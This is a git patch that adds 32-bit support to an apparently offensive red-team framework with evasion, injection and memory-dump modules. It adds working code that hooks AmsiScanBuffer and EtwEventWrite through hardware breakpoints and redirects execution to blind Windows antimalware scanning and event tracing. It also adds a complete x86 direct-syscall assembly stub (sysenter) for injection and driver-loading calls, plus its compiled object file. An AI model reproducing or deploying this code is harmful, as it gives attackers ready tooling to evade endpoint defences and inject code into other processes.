From d2eb5fb047b31567aea30e9425c6435e5066a44a Mon Sep 17 00:00:00 2001 From: Maxime dcb <40819564+maxDcb@users.noreply.github.com> Date: Sat, 6 Dec 2025 22:05:16 +0100 Subject: [PATCH] x86 --- modules/AssemblyExec/AssemblyExec.cpp | 15 +++- modules/AssemblyExec/CMakeLists.txt | 38 +++++++- modules/CMakeLists.txt | 6 +- modules/Evasion/Evasion.cpp | 42 ++++++++- modules/Inject/CMakeLists.txt | 13 ++- modules/MiniDump/CMakeLists.txt | 30 ++++++- modules/ModuleCmd/README.md | 1 + modules/ModuleCmd/syscall.hpp | 8 +- modules/ModuleCmd/syscall.x86.asm | 121 ++++++++++++++++++++++++++ modules/ModuleCmd/syscall.x86.obj | Bin 0 -> 1513 bytes 10 files changed, 259 insertions(+), 15 deletions(-) create mode 100644 modules/ModuleCmd/syscall.x86.asm create mode 100644 modules/ModuleCmd/syscall.x86.obj diff --git a/modules/AssemblyExec/AssemblyExec.cpp b/modules/AssemblyExec/AssemblyExec.cpp index 74f3965..59c16ac 100644 --- a/modules/AssemblyExec/AssemblyExec.cpp +++ b/modules/AssemblyExec/AssemblyExec.cpp @@ -435,13 +435,26 @@ LONG WINAPI handlerRtlExitUserProcess(EXCEPTION_POINTERS * ExceptionInfo) if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) { BYTE* baseAddress = (BYTE*)xGetProcAddress(xGetLibAddress((PCHAR)"ntdll.dll", TRUE, NULL), (PCHAR)"RtlExitUserProcess", 0); +#ifdef _WIN64 if (ExceptionInfo->ContextRecord->Rip == (DWORD64) baseAddress) { // continue the execution ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // set RF (Resume Flag) to continue execution //ExceptionInfo->ContextRecord->Rip++; // or skip the breakpoint via instruction pointer ExceptionInfo->ContextRecord->Rip = (DWORD64)GetProcAddress(GetModuleHandle("Kernel32.dll"), "ExitThread"); - } + } +#else // ===================== X86 ======================= + if (ExceptionInfo->ContextRecord->Eip == (DWORD)baseAddress) + { + // Set Resume Flag + ExceptionInfo->ContextRecord->EFlags |= (1 << 16); + + // Redirect execution to ExitThread + ExceptionInfo->ContextRecord->Eip = + (DWORD)GetProcAddress(GetModuleHandleA("kernel32.dll"), "ExitThread"); + } + +#endif return EXCEPTION_CONTINUE_EXECUTION; } return EXCEPTION_CONTINUE_SEARCH; diff --git a/modules/AssemblyExec/CMakeLists.txt b/modules/AssemblyExec/CMakeLists.txt index cb419d0..d83d757 100644 --- a/modules/AssemblyExec/CMakeLists.txt +++ b/modules/AssemblyExec/CMakeLists.txt @@ -1,7 +1,23 @@ include_directories(../) if(WIN32) - add_library(AssemblyExec SHARED AssemblyExec.cpp ../ModuleCmd/syscall.cpp ../ModuleCmd/syscall.x64.obj ../ModuleCmd/peb.cpp ../ModuleCmd/hwbp.cpp) + if (CMAKE_SIZEOF_VOID_P EQUAL 8) # 64-bit + add_library(AssemblyExec SHARED + AssemblyExec.cpp + ../ModuleCmd/syscall.cpp + ../ModuleCmd/syscall.x64.obj + ../ModuleCmd/peb.cpp + ../ModuleCmd/hwbp.cpp + ) + else() # 32-bit (x86) + add_library(AssemblyExec SHARED + AssemblyExec.cpp + ../ModuleCmd/syscall.cpp + ../ModuleCmd/syscall.x86.obj + ../ModuleCmd/peb.cpp + ../ModuleCmd/hwbp.cpp + ) + endif() else() add_library(AssemblyExec SHARED AssemblyExec.cpp) endif() @@ -15,7 +31,25 @@ $ "${CMAKE_SOURCE_DIR}/Release/Modules/$ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) { BYTE* baseAddress = (BYTE*)GetProcAddress(GetModuleHandle("ntdll.dll"), "EtwEventWrite"); - +#ifdef _WIN64 if (ExceptionInfo->ContextRecord->Rip == (DWORD64) baseAddress) { printf("[!] Exception (%#llx)! Params:\n", ExceptionInfo->ExceptionRecord->ExceptionAddress); @@ -545,7 +545,33 @@ LONG WINAPI handlerETW(EXCEPTION_POINTERS * ExceptionInfo) // continue the execution ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // set RF (Resume Flag) to continue execution //ExceptionInfo->ContextRecord->Rip++; // or skip the breakpoint via instruction pointer - } + } +#else // ===================== X86 ======================= + if (ExceptionInfo->ContextRecord->Eip == (DWORD)baseAddress) + { + printf("[!] Exception (%#lx)! Params:\n", + (unsigned long)ExceptionInfo->ExceptionRecord->ExceptionAddress); + + DWORD esp = ExceptionInfo->ContextRecord->Esp; + + // 32-bit stdcall: args are on the stack + DWORD param1 = *(DWORD*)(esp + 4); + DWORD param2 = *(DWORD*)(esp + 8); + DWORD param3 = *(DWORD*)(esp + 12); + DWORD param4 = *(DWORD*)(esp + 16); + + printf("(1): %#lx | ", param1); + printf("(2): %#lx | ", param2); + printf("(3): %#lx | ", param3); + printf("(4): %#lx | ", param4); + printf("ESP = %#lx\n", (unsigned long)esp); + + printf("EtwEventWrite called!\n"); + + // Continue execution + ExceptionInfo->ContextRecord->EFlags |= (1 << 16); + } +#endif return EXCEPTION_CONTINUE_EXECUTION; } return EXCEPTION_CONTINUE_SEARCH; @@ -746,6 +772,7 @@ LONG WINAPI handlerAmsi(EXCEPTION_POINTERS * ExceptionInfo) { BYTE* baseAddress = (BYTE*)GetProcAddress(GetModuleHandle("amsi.dll"), "AmsiScanBuffer"); +#ifdef _WIN64 if (ExceptionInfo->ContextRecord->Rip == (DWORD64) baseAddress) { // printf("[!] Exception (%#llx)! Params:\n", ExceptionInfo->ExceptionRecord->ExceptionAddress); @@ -760,7 +787,14 @@ LONG WINAPI handlerAmsi(EXCEPTION_POINTERS * ExceptionInfo) // continue the execution ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // set RF (Resume Flag) to continue execution //ExceptionInfo->ContextRecord->Rip++; // or skip the breakpoint via instruction pointer - } + } +#else // =========================== X86 ============================ +if (ExceptionInfo->ContextRecord->Eip == (DWORD64) baseAddress) + { + // continue the execution + ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // set RF (Resume Flag) to continue execution + } +#endif return EXCEPTION_CONTINUE_EXECUTION; } return EXCEPTION_CONTINUE_SEARCH; @@ -987,7 +1021,7 @@ int Evasion::readMemory(std::string& result, const std::string& hexAddress, cons { void* address = hexStringToPointer(hexAddress); MEMORY_BASIC_INFORMATION mbi; - size_t bytesRead = 0; + SIZE_T bytesRead = 0; if (VirtualQuery(address, &mbi, sizeof(mbi)) == sizeof(mbi)) { diff --git a/modules/Inject/CMakeLists.txt b/modules/Inject/CMakeLists.txt index beebb99..60d82fc 100644 --- a/modules/Inject/CMakeLists.txt +++ b/modules/Inject/CMakeLists.txt @@ -1,7 +1,16 @@ include_directories(../) if(WIN32) - add_library(Inject SHARED Inject.cpp ../ModuleCmd/syscall.cpp ../ModuleCmd/syscall.x64.obj) + set(SYSCALL_OBJ "../ModuleCmd/syscall.x86.obj") + if (CMAKE_SIZEOF_VOID_P EQUAL 8) + set(SYSCALL_OBJ "../ModuleCmd/syscall.x64.obj") + endif() + + add_library(Inject SHARED + Inject.cpp + ../ModuleCmd/syscall.cpp + ${SYSCALL_OBJ} + ) else() add_library(Inject SHARED Inject.cpp) endif() @@ -15,7 +24,7 @@ $ "${CMAKE_SOURCE_DIR}/Release/Modules/$ "${CMAKE_SOURCE_DIR}/Release/Modules/$Ldr; PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL; m_dllBase = NULL; diff --git a/modules/ModuleCmd/syscall.x86.asm b/modules/ModuleCmd/syscall.x86.asm new file mode 100644 index 0000000..dcf513c --- /dev/null +++ b/modules/ModuleCmd/syscall.x86.asm @@ -0,0 +1,121 @@ +.686p ; p = privileged, allows sysenter +.model flat, c ; <-- C calling convention +option casemap:none + +EXTERN getGlobalHash: PROC + +EXTERN SW3_GetSyscallNumber: PROC + +EXTERN SW3_GetSyscallAddress: PROC + + +.code + +Sw3NtAllocateVirtualMemory PROC + jmp pipo +Sw3NtAllocateVirtualMemory ENDP + +Sw3NtWaitForSingleObject PROC + jmp pipo +Sw3NtWaitForSingleObject ENDP + +Sw3NtCreateThreadEx PROC + jmp pipo +Sw3NtCreateThreadEx ENDP + +Sw3NtClose PROC + jmp pipo +Sw3NtClose ENDP + +Sw3NtWriteVirtualMemory PROC + jmp pipo +Sw3NtWriteVirtualMemory ENDP + +Sw3NtProtectVirtualMemory PROC + jmp pipo +Sw3NtProtectVirtualMemory ENDP + +Sw3NtOpenProcess PROC + jmp pipo +Sw3NtOpenProcess ENDP + +Sw3NtCreateProcess PROC + jmp pipo +Sw3NtCreateProcess ENDP + +Sw3NtQueueApcThread PROC + jmp pipo +Sw3NtQueueApcThread ENDP + +Sw3NtResumeThread PROC + jmp pipo +Sw3NtResumeThread ENDP + +Sw3NtOpenProcessToken PROC + jmp pipo +Sw3NtOpenProcessToken ENDP + +Sw3NtAdjustPrivilegesToken PROC + jmp pipo +Sw3NtAdjustPrivilegesToken ENDP + +Sw3NtQueryVirtualMemory PROC + jmp pipo +Sw3NtQueryVirtualMemory ENDP + +Sw3NtReadVirtualMemory PROC + jmp pipo +Sw3NtReadVirtualMemory ENDP + +Sw3NtWriteFile PROC + jmp pipo +Sw3NtWriteFile ENDP + +Sw3NtLoadDriver PROC + jmp pipo +Sw3NtLoadDriver ENDP + +Sw3NtDeviceIoControlFile PROC + jmp pipo +Sw3NtDeviceIoControlFile ENDP + +Sw3NtCreateKey PROC + jmp pipo +Sw3NtCreateKey ENDP + +Sw3NtSetValueKey PROC + jmp pipo +Sw3NtSetValueKey ENDP + +Sw3NtCreateFile PROC + jmp pipo +Sw3NtCreateFile ENDP + +pipo PROC + push ebp + mov ebp, esp + call getGlobalHash + push eax + call SW3_GetSyscallNumber + lea esp, [esp+4] + mov ecx, 08h + push_argument_hash: + dec ecx + push [ebp + 8 + ecx * 4] + jnz push_argument_hash + mov ecx, eax + mov eax, ecx + push ret_address_epilog_hash + call do_sysenter_interrupt_hash + lea esp, [esp+4] + ret_address_epilog_hash: + mov esp, ebp + pop ebp + ret + do_sysenter_interrupt_hash: + mov edx, esp + sysenter + ret +pipo ENDP + +end \ No newline at end of file diff --git a/modules/ModuleCmd/syscall.x86.obj b/modules/ModuleCmd/syscall.x86.obj new file mode 100644 index 0000000000000000000000000000000000000000..42396d298453a77a5239f72d8e5046c042da1dc7 GIT binary patch literal 1513 zcmaKs%}*0S6u@UKAxH=U5`u(~N*V%*X$TNC#+cUfA%Q}r2p($ccK6XP&UTvJS)>Q= zkje=YZvG7(^`_xM;?zfq;xW8z0nA{ zN&J!Iu+I~AH86>e%4?iI0}w+QC%NZIQ|Hq6zmX!jk4Y0sUOABu;|@^i(L&3YDbn{) zOo)US7jZErM#YF27DHlC42V9_D|$q?=n|cxLtGK$N#n=4+?8vtM`ohqLl>IM7yPKp z``tKee5y$IxrEZ&`2Os)@#WgwDY=D2(m^tV>(!>Vf@>USC+WcT7tT7)2Sn>fK^E>6 z=3%dpnOU}LRIl=a!5k>q%=9R@g=|x1Y_s6jT|=idxqtU|l9hJJ9df@vc130lM=zd! zd`L*vG92cz9UhcBD>qCkWQ@0fI@B{8C1wLk|Bkx zA{kZ)AQ@4}DWa5$(YgUb+HF-%;Ap&EbHi@jI ze2K*}@FmJhI(?+O6;jM^&lZ<}=lzGf=Gi5Det*%lX*%G#h+odG@ie8(&^c^b4)=7L z1)Dkbz_+bie33bMt6HY8UfKnN2cC?BZx=QzD9nZZ5K`tsxYe=R=gc{bW1e=$t=FK6 zZX>#!e~ii=d*DI3X84B($8CV?*};7R)RJwJy?|( z4gAb@d|Q6yA|?uwuQJ`7$JEWD%j)89#xh`;WmuIvjJAaOpSA*Ft@FUQbm~Dw{D|fj T2Y6BU+g5~{MOnF6k^TMyQmZ^8 literal 0 HcmV?d00001